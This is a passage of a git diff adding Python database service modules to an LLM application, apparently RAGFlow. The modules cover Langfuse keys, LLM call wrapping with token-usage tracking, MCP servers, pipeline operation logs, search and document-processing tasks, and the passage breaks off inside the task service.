+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+from datetime import datetime
+
+import peewee
+
+from api.db.db_models import DB, TenantLangfuse
+from api.db.services.common_service import CommonService
+from api.utils import current_timestamp, datetime_format
+
+
+class TenantLangfuseService(CommonService):
+ """
+ All methods that modify the status should be enclosed within a DB.atomic() context to ensure atomicity
+ and maintain data integrity in case of errors during execution.
+ """
+
+ model = TenantLangfuse
+
+ @classmethod
+ @DB.connection_context()
+ def filter_by_tenant(cls, tenant_id):
+ fields = [cls.model.tenant_id, cls.model.host, cls.model.secret_key, cls.model.public_key]
+ try:
+ keys = cls.model.select(*fields).where(cls.model.tenant_id == tenant_id).first()
+ return keys
+ except peewee.DoesNotExist:
+ return None
+
+ @classmethod
+ @DB.connection_context()
+ def filter_by_tenant_with_info(cls, tenant_id):
+ fields = [cls.model.tenant_id, cls.model.host, cls.model.secret_key, cls.model.public_key]
+ try:
+ keys = cls.model.select(*fields).where(cls.model.tenant_id == tenant_id).dicts().first()
+ return keys
+ except peewee.DoesNotExist:
+ return None
+
+ @classmethod
+ @DB.connection_context()
+ def delete_ty_tenant_id(cls, tenant_id):
+ return cls.model.delete().where(cls.model.tenant_id == tenant_id).execute()
+
+ @classmethod
+ def update_by_tenant(cls, tenant_id, langfuse_keys):
+ langfuse_keys["update_time"] = current_timestamp()
+ langfuse_keys["update_date"] = datetime_format(datetime.now())
+ return cls.model.update(**langfuse_keys).where(cls.model.tenant_id == tenant_id).execute()
+
+ @classmethod
+ def save(cls, **kwargs):
+ kwargs["create_time"] = current_timestamp()
+ kwargs["create_date"] = datetime_format(datetime.now())
+ kwargs["update_time"] = current_timestamp()
+ kwargs["update_date"] = datetime_format(datetime.now())
+ obj = cls.model.create(**kwargs)
+ return obj
+
+ @classmethod
+ def delete_model(cls, langfuse_model):
+ langfuse_model.delete_instance()
diff --git a/api/db/services/llm_service.py b/api/db/services/llm_service.py
new file mode 100644
index 0000000..76c4cb4
--- /dev/null
+++ b/api/db/services/llm_service.py
@@ -0,0 +1,279 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import inspect
+import logging
+import re
+from functools import partial
+from typing import Generator
+from api.db.db_models import LLM
+from api.db.services.common_service import CommonService
+from api.db.services.tenant_llm_service import LLM4Tenant, TenantLLMService
+
+
+class LLMService(CommonService):
+ model = LLM
+
+
+def get_init_tenant_llm(user_id):
+ from api import settings
+ tenant_llm = []
+
+ seen = set()
+ factory_configs = []
+ for factory_config in [
+ settings.CHAT_CFG,
+ settings.EMBEDDING_CFG,
+ settings.ASR_CFG,
+ settings.IMAGE2TEXT_CFG,
+ settings.RERANK_CFG,
+ ]:
+ factory_name = factory_config["factory"]
+ if factory_name not in seen:
+ seen.add(factory_name)
+ factory_configs.append(factory_config)
+
+ for factory_config in factory_configs:
+ for llm in LLMService.query(fid=factory_config["factory"]):
+ tenant_llm.append(
+ {
+ "tenant_id": user_id,
+ "llm_factory": factory_config["factory"],
+ "llm_name": llm.llm_name,
+ "model_type": llm.model_type,
+ "api_key": factory_config["api_key"],
+ "api_base": factory_config["base_url"],
+ "max_tokens": llm.max_tokens if llm.max_tokens else 8192,
+ }
+ )
+
+ if settings.LIGHTEN != 1:
+ for buildin_embedding_model in settings.BUILTIN_EMBEDDING_MODELS:
+ mdlnm, fid = TenantLLMService.split_model_name_and_factory(buildin_embedding_model)
+ tenant_llm.append(
+ {
+ "tenant_id": user_id,
+ "llm_factory": fid,
+ "llm_name": mdlnm,
+ "model_type": "embedding",
+ "api_key": "",
+ "api_base": "",
+ "max_tokens": 1024 if buildin_embedding_model == "BAAI/bge-large-zh-v1.5@BAAI" else 512,
+ }
+ )
+
+ unique = {}
+ for item in tenant_llm:
+ key = (item["tenant_id"], item["llm_factory"], item["llm_name"])
+ if key not in unique:
+ unique[key] = item
+ return list(unique.values())
+
+
+class LLMBundle(LLM4Tenant):
+ def __init__(self, tenant_id, llm_type, llm_name=None, lang="Chinese", **kwargs):
+ super().__init__(tenant_id, llm_type, llm_name, lang, **kwargs)
+
+ def bind_tools(self, toolcall_session, tools):
+ if not self.is_tools:
+ logging.warning(f"Model {self.llm_name} does not support tool call, but you have assigned one or more tools to it!")
+ return
+ self.mdl.bind_tools(toolcall_session, tools)
+
+ def encode(self, texts: list):
+ if self.langfuse:
+ generation = self.langfuse.start_generation(trace_context=self.trace_context, name="encode", model=self.llm_name, input={"texts": texts})
+
+ embeddings, used_tokens = self.mdl.encode(texts)
+ llm_name = getattr(self, "llm_name", None)
+ if not TenantLLMService.increase_usage(self.tenant_id, self.llm_type, used_tokens, llm_name):
+ logging.error("LLMBundle.encode can't update token usage for {}/EMBEDDING used_tokens: {}".format(self.tenant_id, used_tokens))
+
+ if self.langfuse:
+ generation.update(usage_details={"total_tokens": used_tokens})
+ generation.end()
+
+ return embeddings, used_tokens
+
+ def encode_queries(self, query: str):
+ if self.langfuse:
+ generation = self.langfuse.start_generation(trace_context=self.trace_context, name="encode_queries", model=self.llm_name, input={"query": query})
+
+ emd, used_tokens = self.mdl.encode_queries(query)
+ llm_name = getattr(self, "llm_name", None)
+ if not TenantLLMService.increase_usage(self.tenant_id, self.llm_type, used_tokens, llm_name):
+ logging.error("LLMBundle.encode_queries can't update token usage for {}/EMBEDDING used_tokens: {}".format(self.tenant_id, used_tokens))
+
+ if self.langfuse:
+ generation.update(usage_details={"total_tokens": used_tokens})
+ generation.end()
+
+ return emd, used_tokens
+
+ def similarity(self, query: str, texts: list):
+ if self.langfuse:
+ generation = self.langfuse.start_generation(trace_context=self.trace_context, name="similarity", model=self.llm_name, input={"query": query, "texts": texts})
+
+ sim, used_tokens = self.mdl.similarity(query, texts)
+ if not TenantLLMService.increase_usage(self.tenant_id, self.llm_type, used_tokens):
+ logging.error("LLMBundle.similarity can't update token usage for {}/RERANK used_tokens: {}".format(self.tenant_id, used_tokens))
+
+ if self.langfuse:
+ generation.update(usage_details={"total_tokens": used_tokens})
+ generation.end()
+
+ return sim, used_tokens
+
+ def describe(self, image, max_tokens=300):
+ if self.langfuse:
+ generation = self.langfuse.start_generation(trace_context=self.trace_context, name="describe", metadata={"model": self.llm_name})
+
+ txt, used_tokens = self.mdl.describe(image)
+ if not TenantLLMService.increase_usage(self.tenant_id, self.llm_type, used_tokens):
+ logging.error("LLMBundle.describe can't update token usage for {}/IMAGE2TEXT used_tokens: {}".format(self.tenant_id, used_tokens))
+
+ if self.langfuse:
+ generation.update(output={"output": txt}, usage_details={"total_tokens": used_tokens})
+ generation.end()
+
+ return txt
+
+ def describe_with_prompt(self, image, prompt):
+ if self.langfuse:
+ generation = self.langfuse.start_generation(trace_context=self.trace_context, name="describe_with_prompt", metadata={"model": self.llm_name, "prompt": prompt})
+
+ txt, used_tokens = self.mdl.describe_with_prompt(image, prompt)
+ if not TenantLLMService.increase_usage(self.tenant_id, self.llm_type, used_tokens):
+ logging.error("LLMBundle.describe can't update token usage for {}/IMAGE2TEXT used_tokens: {}".format(self.tenant_id, used_tokens))
+
+ if self.langfuse:
+ generation.update(output={"output": txt}, usage_details={"total_tokens": used_tokens})
+ generation.end()
+
+ return txt
+
+ def transcription(self, audio):
+ if self.langfuse:
+ generation = self.langfuse.start_generation(trace_context=self.trace_context, name="transcription", metadata={"model": self.llm_name})
+
+ txt, used_tokens = self.mdl.transcription(audio)
+ if not TenantLLMService.increase_usage(self.tenant_id, self.llm_type, used_tokens):
+ logging.error("LLMBundle.transcription can't update token usage for {}/SEQUENCE2TXT used_tokens: {}".format(self.tenant_id, used_tokens))
+
+ if self.langfuse:
+ generation.update(output={"output": txt}, usage_details={"total_tokens": used_tokens})
+ generation.end()
+
+ return txt
+
+ def tts(self, text: str) -> Generator[bytes, None, None]:
+ if self.langfuse:
+ generation = self.langfuse.start_generation(trace_context=self.trace_context, name="tts", input={"text": text})
+
+ for chunk in self.mdl.tts(text):
+ if isinstance(chunk, int):
+ if not TenantLLMService.increase_usage(self.tenant_id, self.llm_type, chunk, self.llm_name):
+ logging.error("LLMBundle.tts can't update token usage for {}/TTS".format(self.tenant_id))
+ return
+ yield chunk
+
+ if self.langfuse:
+ generation.end()
+
+ def _remove_reasoning_content(self, txt: str) -> str:
+ first_think_start = txt.find("")
+ if first_think_start == -1:
+ return txt
+
+ last_think_end = txt.rfind(" ")
+ if last_think_end == -1:
+ return txt
+
+ if last_think_end < first_think_start:
+ return txt
+
+ return txt[last_think_end + len("") :]
+
+ @staticmethod
+ def _clean_param(chat_partial, **kwargs):
+ func = chat_partial.func
+ sig = inspect.signature(func)
+ keyword_args = []
+ support_var_args = False
+ for param in sig.parameters.values():
+ if param.kind == inspect.Parameter.VAR_KEYWORD or param.kind == inspect.Parameter.VAR_POSITIONAL:
+ support_var_args = True
+ elif param.kind == inspect.Parameter.KEYWORD_ONLY:
+ keyword_args.append(param.name)
+
+ use_kwargs = kwargs
+ if not support_var_args:
+ use_kwargs = {k: v for k, v in kwargs.items() if k in keyword_args}
+ return use_kwargs
+
+ def chat(self, system: str, history: list, gen_conf: dict = {}, **kwargs) -> str:
+ if self.langfuse:
+ generation = self.langfuse.start_generation(trace_context=self.trace_context, name="chat", model=self.llm_name, input={"system": system, "history": history})
+
+ chat_partial = partial(self.mdl.chat, system, history, gen_conf)
+ if self.is_tools and self.mdl.is_tools:
+ chat_partial = partial(self.mdl.chat_with_tools, system, history, gen_conf)
+
+ use_kwargs = self._clean_param(chat_partial, **kwargs)
+ txt, used_tokens = chat_partial(**use_kwargs)
+ txt = self._remove_reasoning_content(txt)
+
+ if not self.verbose_tool_use:
+ txt = re.sub(r".*? ", "", txt, flags=re.DOTALL)
+
+ if isinstance(txt, int) and not TenantLLMService.increase_usage(self.tenant_id, self.llm_type, used_tokens, self.llm_name):
+ logging.error("LLMBundle.chat can't update token usage for {}/CHAT llm_name: {}, used_tokens: {}".format(self.tenant_id, self.llm_name, used_tokens))
+
+ if self.langfuse:
+ generation.update(output={"output": txt}, usage_details={"total_tokens": used_tokens})
+ generation.end()
+
+ return txt
+
+ def chat_streamly(self, system: str, history: list, gen_conf: dict = {}, **kwargs):
+ if self.langfuse:
+ generation = self.langfuse.start_generation(trace_context=self.trace_context, name="chat_streamly", model=self.llm_name, input={"system": system, "history": history})
+
+ ans = ""
+ chat_partial = partial(self.mdl.chat_streamly, system, history, gen_conf)
+ total_tokens = 0
+ if self.is_tools and self.mdl.is_tools:
+ chat_partial = partial(self.mdl.chat_streamly_with_tools, system, history, gen_conf)
+ use_kwargs = self._clean_param(chat_partial, **kwargs)
+ for txt in chat_partial(**use_kwargs):
+ if isinstance(txt, int):
+ total_tokens = txt
+ if self.langfuse:
+ generation.update(output={"output": ans})
+ generation.end()
+ break
+
+ if txt.endswith(""):
+ ans = ans.rstrip("")
+
+ if not self.verbose_tool_use:
+ txt = re.sub(r".*? ", "", txt, flags=re.DOTALL)
+
+ ans += txt
+ yield ans
+
+ if total_tokens > 0:
+ if not TenantLLMService.increase_usage(self.tenant_id, self.llm_type, txt, self.llm_name):
+ logging.error("LLMBundle.chat_streamly can't update token usage for {}/CHAT llm_name: {}, content: {}".format(self.tenant_id, self.llm_name, txt))
diff --git a/api/db/services/mcp_server_service.py b/api/db/services/mcp_server_service.py
new file mode 100644
index 0000000..101555f
--- /dev/null
+++ b/api/db/services/mcp_server_service.py
@@ -0,0 +1,91 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from peewee import fn
+
+from api.db.db_models import DB, MCPServer
+from api.db.services.common_service import CommonService
+
+
+class MCPServerService(CommonService):
+ """Service class for managing MCP server related database operations.
+
+ This class extends CommonService to provide specialized functionality for MCP server management,
+ including MCP server creation, updates, and deletions.
+
+ Attributes:
+ model: The MCPServer model class for database operations.
+ """
+
+ model = MCPServer
+
+ @classmethod
+ @DB.connection_context()
+ def get_servers(cls, tenant_id: str, id_list: list[str] | None, page_number, items_per_page, orderby, desc, keywords):
+ """Retrieve all MCP servers associated with a tenant.
+
+ This method fetches all MCP servers for a given tenant, ordered by creation time.
+ It only includes fields for list display.
+
+ Args:
+ tenant_id (str): The unique identifier of the tenant.
+ id_list (list[str]): Get servers by ID list. Will ignore this condition if None.
+
+ Returns:
+ list[dict]: List of MCP server dictionaries containing MCP server details.
+ Returns None if no MCP servers are found.
+ """
+ fields = [
+ cls.model.id,
+ cls.model.name,
+ cls.model.server_type,
+ cls.model.url,
+ cls.model.description,
+ cls.model.variables,
+ cls.model.create_date,
+ cls.model.update_date,
+ ]
+
+ query = cls.model.select(*fields).order_by(cls.model.create_time.desc()).where(cls.model.tenant_id == tenant_id)
+
+ if id_list:
+ query = query.where(cls.model.id.in_(id_list))
+ if keywords:
+ query = query.where(fn.LOWER(cls.model.name).contains(keywords.lower()))
+ if desc:
+ query = query.order_by(cls.model.getter_by(orderby).desc())
+ else:
+ query = query.order_by(cls.model.getter_by(orderby).asc())
+ if page_number and items_per_page:
+ query = query.paginate(page_number, items_per_page)
+
+ servers = list(query.dicts())
+ if not servers:
+ return None
+ return servers
+
+ @classmethod
+ @DB.connection_context()
+ def get_by_name_and_tenant(cls, name: str, tenant_id: str):
+ try:
+ mcp_server = cls.model.query(name=name, tenant_id=tenant_id)
+ return bool(mcp_server), mcp_server
+ except Exception:
+ return False, None
+
+ @classmethod
+ @DB.connection_context()
+ def delete_by_tenant_id(cls, tenant_id: str):
+ return cls.model.delete().where(cls.model.tenant_id == tenant_id).execute()
diff --git a/api/db/services/pipeline_operation_log_service.py b/api/db/services/pipeline_operation_log_service.py
new file mode 100644
index 0000000..7bfe56c
--- /dev/null
+++ b/api/db/services/pipeline_operation_log_service.py
@@ -0,0 +1,263 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import json
+import logging
+import os
+from datetime import datetime, timedelta
+
+from peewee import fn
+
+from api.db import VALID_PIPELINE_TASK_TYPES, PipelineTaskType
+from api.db.db_models import DB, Document, PipelineOperationLog
+from api.db.services.canvas_service import UserCanvasService
+from api.db.services.common_service import CommonService
+from api.db.services.document_service import DocumentService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.task_service import GRAPH_RAPTOR_FAKE_DOC_ID
+from api.utils import current_timestamp, datetime_format, get_uuid
+
+
+class PipelineOperationLogService(CommonService):
+ model = PipelineOperationLog
+
+ @classmethod
+ def get_file_logs_fields(cls):
+ return [
+ cls.model.id,
+ cls.model.document_id,
+ cls.model.tenant_id,
+ cls.model.kb_id,
+ cls.model.pipeline_id,
+ cls.model.pipeline_title,
+ cls.model.parser_id,
+ cls.model.document_name,
+ cls.model.document_suffix,
+ cls.model.document_type,
+ cls.model.source_from,
+ cls.model.progress,
+ cls.model.progress_msg,
+ cls.model.process_begin_at,
+ cls.model.process_duration,
+ cls.model.dsl,
+ cls.model.task_type,
+ cls.model.operation_status,
+ cls.model.avatar,
+ cls.model.status,
+ cls.model.create_time,
+ cls.model.create_date,
+ cls.model.update_time,
+ cls.model.update_date,
+ ]
+
+ @classmethod
+ def get_dataset_logs_fields(cls):
+ return [
+ cls.model.id,
+ cls.model.tenant_id,
+ cls.model.kb_id,
+ cls.model.progress,
+ cls.model.progress_msg,
+ cls.model.process_begin_at,
+ cls.model.process_duration,
+ cls.model.task_type,
+ cls.model.operation_status,
+ cls.model.avatar,
+ cls.model.status,
+ cls.model.create_time,
+ cls.model.create_date,
+ cls.model.update_time,
+ cls.model.update_date,
+ ]
+
+ @classmethod
+ def save(cls, **kwargs):
+ """
+ wrap this function in a transaction
+ """
+ sample_obj = cls.model(**kwargs).save(force_insert=True)
+ return sample_obj
+
+ @classmethod
+ @DB.connection_context()
+ def create(cls, document_id, pipeline_id, task_type, fake_document_ids=[], dsl: str = "{}"):
+ referred_document_id = document_id
+
+ if referred_document_id == GRAPH_RAPTOR_FAKE_DOC_ID and fake_document_ids:
+ referred_document_id = fake_document_ids[0]
+ ok, document = DocumentService.get_by_id(referred_document_id)
+ if not ok:
+ logging.warning(f"Document for referred_document_id {referred_document_id} not found")
+ return
+ DocumentService.update_progress_immediately([document.to_dict()])
+ ok, document = DocumentService.get_by_id(referred_document_id)
+ if not ok:
+ logging.warning(f"Document for referred_document_id {referred_document_id} not found")
+ return
+ if document.progress not in [1, -1]:
+ return
+ operation_status = document.run
+
+ if pipeline_id:
+ ok, user_pipeline = UserCanvasService.get_by_id(pipeline_id)
+ if not ok:
+ raise RuntimeError(f"Pipeline {pipeline_id} not found")
+ tenant_id = user_pipeline.user_id
+ title = user_pipeline.title
+ avatar = user_pipeline.avatar
+ else:
+ ok, kb_info = KnowledgebaseService.get_by_id(document.kb_id)
+ if not ok:
+ raise RuntimeError(f"Cannot find knowledge base {document.kb_id} for referred_document {referred_document_id}")
+
+ tenant_id = kb_info.tenant_id
+ title = document.parser_id
+ avatar = document.thumbnail
+
+ if task_type not in VALID_PIPELINE_TASK_TYPES:
+ raise ValueError(f"Invalid task type: {task_type}")
+
+ if task_type in [PipelineTaskType.GRAPH_RAG, PipelineTaskType.RAPTOR, PipelineTaskType.MINDMAP]:
+ finish_at = document.process_begin_at + timedelta(seconds=document.process_duration)
+ if task_type == PipelineTaskType.GRAPH_RAG:
+ KnowledgebaseService.update_by_id(
+ document.kb_id,
+ {"graphrag_task_finish_at": finish_at},
+ )
+ elif task_type == PipelineTaskType.RAPTOR:
+ KnowledgebaseService.update_by_id(
+ document.kb_id,
+ {"raptor_task_finish_at": finish_at},
+ )
+ elif task_type == PipelineTaskType.MINDMAP:
+ KnowledgebaseService.update_by_id(
+ document.kb_id,
+ {"mindmap_task_finish_at": finish_at},
+ )
+
+ log = dict(
+ id=get_uuid(),
+ document_id=document_id, # GRAPH_RAPTOR_FAKE_DOC_ID or real document_id
+ tenant_id=tenant_id,
+ kb_id=document.kb_id,
+ pipeline_id=pipeline_id,
+ pipeline_title=title,
+ parser_id=document.parser_id,
+ document_name=document.name,
+ document_suffix=document.suffix,
+ document_type=document.type,
+ source_from="", # TODO: add in the future
+ progress=document.progress,
+ progress_msg=document.progress_msg,
+ process_begin_at=document.process_begin_at,
+ process_duration=document.process_duration,
+ dsl=json.loads(dsl),
+ task_type=task_type,
+ operation_status=operation_status,
+ avatar=avatar,
+ )
+ log["create_time"] = current_timestamp()
+ log["create_date"] = datetime_format(datetime.now())
+ log["update_time"] = current_timestamp()
+ log["update_date"] = datetime_format(datetime.now())
+
+ with DB.atomic():
+ obj = cls.save(**log)
+
+ limit = int(os.getenv("PIPELINE_OPERATION_LOG_LIMIT", 1000))
+ total = cls.model.select().where(cls.model.kb_id == document.kb_id).count()
+
+ if total > limit:
+ keep_ids = [m.id for m in cls.model.select(cls.model.id).where(cls.model.kb_id == document.kb_id).order_by(cls.model.create_time.desc()).limit(limit)]
+
+ deleted = cls.model.delete().where(cls.model.kb_id == document.kb_id, cls.model.id.not_in(keep_ids)).execute()
+ logging.info(f"[PipelineOperationLogService] Cleaned {deleted} old logs, kept latest {limit} for {document.kb_id}")
+
+ return obj
+
+ @classmethod
+ @DB.connection_context()
+ def record_pipeline_operation(cls, document_id, pipeline_id, task_type, fake_document_ids=[]):
+ return cls.create(document_id=document_id, pipeline_id=pipeline_id, task_type=task_type, fake_document_ids=fake_document_ids)
+
+ @classmethod
+ @DB.connection_context()
+ def get_file_logs_by_kb_id(cls, kb_id, page_number, items_per_page, orderby, desc, keywords, operation_status, types, suffix, create_date_from=None, create_date_to=None):
+ fields = cls.get_file_logs_fields()
+ if keywords:
+ logs = cls.model.select(*fields).where((cls.model.kb_id == kb_id), (fn.LOWER(cls.model.document_name).contains(keywords.lower())))
+ else:
+ logs = cls.model.select(*fields).where(cls.model.kb_id == kb_id)
+
+ logs = logs.where(cls.model.document_id != GRAPH_RAPTOR_FAKE_DOC_ID)
+
+ if operation_status:
+ logs = logs.where(cls.model.operation_status.in_(operation_status))
+ if types:
+ logs = logs.where(cls.model.document_type.in_(types))
+ if suffix:
+ logs = logs.where(cls.model.document_suffix.in_(suffix))
+ if create_date_from:
+ logs = logs.where(cls.model.create_date >= create_date_from)
+ if create_date_to:
+ logs = logs.where(cls.model.create_date <= create_date_to)
+
+ count = logs.count()
+ if desc:
+ logs = logs.order_by(cls.model.getter_by(orderby).desc())
+ else:
+ logs = logs.order_by(cls.model.getter_by(orderby).asc())
+
+ if page_number and items_per_page:
+ logs = logs.paginate(page_number, items_per_page)
+
+ return list(logs.dicts()), count
+
+ @classmethod
+ @DB.connection_context()
+ def get_documents_info(cls, id):
+ fields = [Document.id, Document.name, Document.progress, Document.kb_id]
+ return (
+ cls.model.select(*fields)
+ .join(Document, on=(cls.model.document_id == Document.id))
+ .where(
+ cls.model.id == id
+ )
+ .dicts()
+ )
+
+ @classmethod
+ @DB.connection_context()
+ def get_dataset_logs_by_kb_id(cls, kb_id, page_number, items_per_page, orderby, desc, operation_status, create_date_from=None, create_date_to=None):
+ fields = cls.get_dataset_logs_fields()
+ logs = cls.model.select(*fields).where((cls.model.kb_id == kb_id), (cls.model.document_id == GRAPH_RAPTOR_FAKE_DOC_ID))
+
+ if operation_status:
+ logs = logs.where(cls.model.operation_status.in_(operation_status))
+ if create_date_from:
+ logs = logs.where(cls.model.create_date >= create_date_from)
+ if create_date_to:
+ logs = logs.where(cls.model.create_date <= create_date_to)
+
+ count = logs.count()
+ if desc:
+ logs = logs.order_by(cls.model.getter_by(orderby).desc())
+ else:
+ logs = logs.order_by(cls.model.getter_by(orderby).asc())
+
+ if page_number and items_per_page:
+ logs = logs.paginate(page_number, items_per_page)
+
+ return list(logs.dicts()), count
diff --git a/api/db/services/search_service.py b/api/db/services/search_service.py
new file mode 100644
index 0000000..acb07da
--- /dev/null
+++ b/api/db/services/search_service.py
@@ -0,0 +1,117 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from datetime import datetime
+
+from peewee import fn
+
+from api.db import StatusEnum
+from api.db.db_models import DB, Search, User
+from api.db.services.common_service import CommonService
+from api.utils import current_timestamp, datetime_format
+
+
+class SearchService(CommonService):
+ model = Search
+
+ @classmethod
+ def save(cls, **kwargs):
+ kwargs["create_time"] = current_timestamp()
+ kwargs["create_date"] = datetime_format(datetime.now())
+ kwargs["update_time"] = current_timestamp()
+ kwargs["update_date"] = datetime_format(datetime.now())
+ obj = cls.model.create(**kwargs)
+ return obj
+
+ @classmethod
+ @DB.connection_context()
+ def accessible4deletion(cls, search_id, user_id) -> bool:
+ search = (
+ cls.model.select(cls.model.id)
+ .where(
+ cls.model.id == search_id,
+ cls.model.created_by == user_id,
+ cls.model.status == StatusEnum.VALID.value,
+ )
+ .first()
+ )
+ return search is not None
+
+ @classmethod
+ @DB.connection_context()
+ def get_detail(cls, search_id):
+ fields = [
+ cls.model.id,
+ cls.model.avatar,
+ cls.model.tenant_id,
+ cls.model.name,
+ cls.model.description,
+ cls.model.created_by,
+ cls.model.search_config,
+ cls.model.update_time,
+ User.nickname,
+ User.avatar.alias("tenant_avatar"),
+ ]
+ search = (
+ cls.model.select(*fields)
+ .join(User, on=((User.id == cls.model.tenant_id) & (User.status == StatusEnum.VALID.value)))
+ .where((cls.model.id == search_id) & (cls.model.status == StatusEnum.VALID.value))
+ .first()
+ .to_dict()
+ )
+ if not search:
+ return {}
+ return search
+
+ @classmethod
+ @DB.connection_context()
+ def get_by_tenant_ids(cls, joined_tenant_ids, user_id, page_number, items_per_page, orderby, desc, keywords):
+ fields = [
+ cls.model.id,
+ cls.model.avatar,
+ cls.model.tenant_id,
+ cls.model.name,
+ cls.model.description,
+ cls.model.created_by,
+ cls.model.status,
+ cls.model.update_time,
+ cls.model.create_time,
+ User.nickname,
+ User.avatar.alias("tenant_avatar"),
+ ]
+ query = (
+ cls.model.select(*fields)
+ .join(User, on=(cls.model.tenant_id == User.id))
+ .where(((cls.model.tenant_id.in_(joined_tenant_ids)) | (cls.model.tenant_id == user_id)) & (cls.model.status == StatusEnum.VALID.value))
+ )
+
+ if keywords:
+ query = query.where(fn.LOWER(cls.model.name).contains(keywords.lower()))
+ if desc:
+ query = query.order_by(cls.model.getter_by(orderby).desc())
+ else:
+ query = query.order_by(cls.model.getter_by(orderby).asc())
+
+ count = query.count()
+
+ if page_number and items_per_page:
+ query = query.paginate(page_number, items_per_page)
+
+ return list(query.dicts()), count
+
+ @classmethod
+ @DB.connection_context()
+ def delete_by_tenant_id(cls, tenant_id):
+ return cls.model.delete().where(cls.model.tenant_id == tenant_id).execute()
diff --git a/api/db/services/task_service.py b/api/db/services/task_service.py
new file mode 100644
index 0000000..f31494b
--- /dev/null
+++ b/api/db/services/task_service.py
@@ -0,0 +1,522 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import os
+import random
+import xxhash
+from datetime import datetime
+
+from api.db.db_utils import bulk_insert_into_db
+from deepdoc.parser import PdfParser
+from peewee import JOIN
+from api.db.db_models import DB, File2Document, File
+from api.db import StatusEnum, FileType, TaskStatus
+from api.db.db_models import Task, Document, Knowledgebase, Tenant
+from api.db.services.common_service import CommonService
+from api.db.services.document_service import DocumentService
+from api.utils import current_timestamp, get_uuid
+from deepdoc.parser.excel_parser import RAGFlowExcelParser
+from rag.settings import get_svr_queue_name
+from rag.utils.storage_factory import STORAGE_IMPL
+from rag.utils.redis_conn import REDIS_CONN
+from api import settings
+from rag.nlp import search
+
+CANVAS_DEBUG_DOC_ID = "dataflow_x"
+GRAPH_RAPTOR_FAKE_DOC_ID = "graph_raptor_x"
+
+def trim_header_by_lines(text: str, max_length) -> str:
+ # Trim header text to maximum length while preserving line breaks
+ # Args:
+ # text: Input text to trim
+ # max_length: Maximum allowed length
+ # Returns:
+ # Trimmed text
+ len_text = len(text)
+ if len_text <= max_length:
+ return text
+ for i in range(len_text):
+ if text[i] == '\n' and len_text - i <= max_length:
+ return text[i + 1:]
+ return text
+
+
+class TaskService(CommonService):
+ """Service class for managing document processing tasks.
+
+ This class extends CommonService to provide specialized functionality for document
+ processing task management, including task creation, progress tracking, and chunk
+ management. It handles various document types (PDF, Excel, etc.) and manages their
+ processing lifecycle.
+
+ The class implements a robust task queue system with retry mechanisms and progress
+ tracking, supporting both synchronous and asynchronous task execution.
+
+ Attributes:
+ model: The Task model class for database operations.
+ """
+ model = Task
+
+ @classmethod
+ @DB.connection_context()
+ def get_task(cls, task_id, doc_ids=[]):
+ """Retrieve detailed task information by task ID.
+
+ This method fetches comprehensive task details including associated document,
+ knowledge base, and tenant information. It also handles task retry logic and
+ progress updates.
+
+ Args:
+ task_id (str): The unique identifier of the task to retrieve.
+
+ Returns:
+ dict: Task details dictionary containing all task information and related metadata.
+ Returns None if task is not found or has exceeded retry limit.
+ """
+ doc_id = cls.model.doc_id
+ if doc_id == CANVAS_DEBUG_DOC_ID and doc_ids:
+ doc_id = doc_ids[0]
+
+ fields = [
+ cls.model.id,
+ cls.model.doc_id,
+ cls.model.from_page,
+ cls.model.to_page,
+ cls.model.retry_count,
+ Document.kb_id,
+ Document.parser_id,
+ Document.parser_config,
+ Document.name,
+ Document.type,
+ Document.location,
+ Document.size,
+ Knowledgebase.tenant_id,
+ Knowledgebase.language,
+ Knowledgebase.embd_id,
+ Knowledgebase.pagerank,
+ Knowledgebase.parser_config.alias("kb_parser_config"),
+ Tenant.img2txt_id,
+ Tenant.asr_id,
+ Tenant.llm_id,
+ cls.model.update_time,
+ ]
+ docs = (
+ cls.model.select(*fields)
+ .join(Document, on=(doc_id == Document.id))
+ .join(Knowledgebase, on=(Document.kb_id == Knowledgebase.id))
+ .join(Tenant, on=(Knowledgebase.tenant_id == Tenant.id))
